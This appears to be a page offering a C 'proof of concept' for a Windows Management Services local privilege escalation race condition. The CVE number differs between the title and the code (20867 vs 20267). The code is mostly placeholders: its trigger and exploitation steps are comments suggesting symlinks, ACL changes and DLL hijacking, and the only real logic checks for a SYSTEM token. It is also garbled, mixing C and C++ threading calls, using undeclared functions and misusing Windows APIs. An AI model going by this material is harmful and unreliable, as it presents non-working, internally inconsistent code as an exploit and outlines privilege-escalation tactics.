CVE-2026-20867 Windows管理服务本地权限提升漏洞

// CVE-2026-20267 PoC - Race Condition in Windows Management Services // This is a conceptual PoC demonstrating the race condition exploitation approach // Note: Actual exploitation requires significant debugging and environment adaptation #include <windows.h> #include <stdio.h> #include <threads.h> #define ITERATION_COUNT 10000 #define WINDOW_MS 50 // Target service handle (to be identified via debugging) HANDLE g_hService = NULL; // Thread-safe counter for race condition attempts volatile LONG g_attemptCount = 0; volatile LONG g_successCount = 0; // Function to trigger Windows Management Service operation void TriggerWMSOperation() { // Placeholder for actual WMS operation trigger // This would involve calling specific WMI methods or service APIs // that are vulnerable to race conditions // Example: Calling a privileged WMI method // IWbemServices* pSvc = NULL; // pSvc->ExecMethod(...); InterlockedIncrement(&g_attemptCount); } // Thread function for race condition exploitation int RaceThread(void* arg) { while (g_attemptCount < ITERATION_COUNT) { // Create a window for race condition // Step 1: Prepare the race condition trigger PrepareRaceCondition(); // Step 2: Trigger the vulnerable operation TriggerWMSOperation(); // Step 3: Exploit the TOCTOU window ExploitTOCTOUWindow(); // Small delay to synchronize threads std::this_thread::sleep_for(std::chrono::microseconds(1)); } return 0; } // Preparation phase for race condition void PrepareRaceCondition() { // Set up symbolic link or modify ACL during the check phase // This creates the condition for privilege escalation // Example actions: // - Create symlink to privileged resource // - Modify file/directory permissions // - Prepare malicious DLL for DLL hijacking } // Exploitation phase during the use window void ExploitTOCTOUWindow() { // Modify the resource after check but before use // This is the critical time window exploitation // If successful, privilege escalation occurs if (CheckPrivilegeEscalation()) { InterlockedIncrement(&g_successCount); printf("[!] Race condition successful! Privilege escalation detected.\n"); } } BOOL CheckPrivilegeEscalation() { // Check if current process has SYSTEM privileges HANDLE hToken = NULL; TOKEN_USER* pTokenUser = NULL; DWORD dwReturnLength = 0; if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) { GetTokenInformation(hToken, TokenUser, NULL, 0, &dwReturnLength); pTokenUser = (TOKEN_USER*)malloc(dwReturnLength); if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwReturnLength, &dwReturnLength)) { // Check if user is SYSTEM or has elevated privileges // SID comparison with well-known SYSTEM SID BOOL isSystem = EqualSid(pTokenUser->User.Sid, CreateWellKnownSid(WinLocalSystemSid)); free(pTokenUser); CloseHandle(hToken); return isSystem; } free(pTokenUser); CloseHandle(hToken); } return FALSE; } int main() { printf("CVE-2026-20867 Race Condition PoC\n"); printf("Target: Windows Management Services\n\n"); // Create multiple threads to increase race condition probability const int NUM_THREADS = 4; thrd_t threads[NUM_THREADS]; for (int i = 0; i < NUM_THREADS; i++) { thrd_create(&threads[i], RaceThread, NULL); } // Wait for threads to complete for (int i = 0; i < NUM_THREADS; i++) { thrd_join(threads[i], NULL); } printf("\nResults:\n"); printf("Total attempts: %ld\n", g_attemptCount); printf("Successful exploits: %ld\n", g_successCount); printf("Success rate: %.2f%%\n", (double)g_successCount / g_attemptCount * 100); return 0; }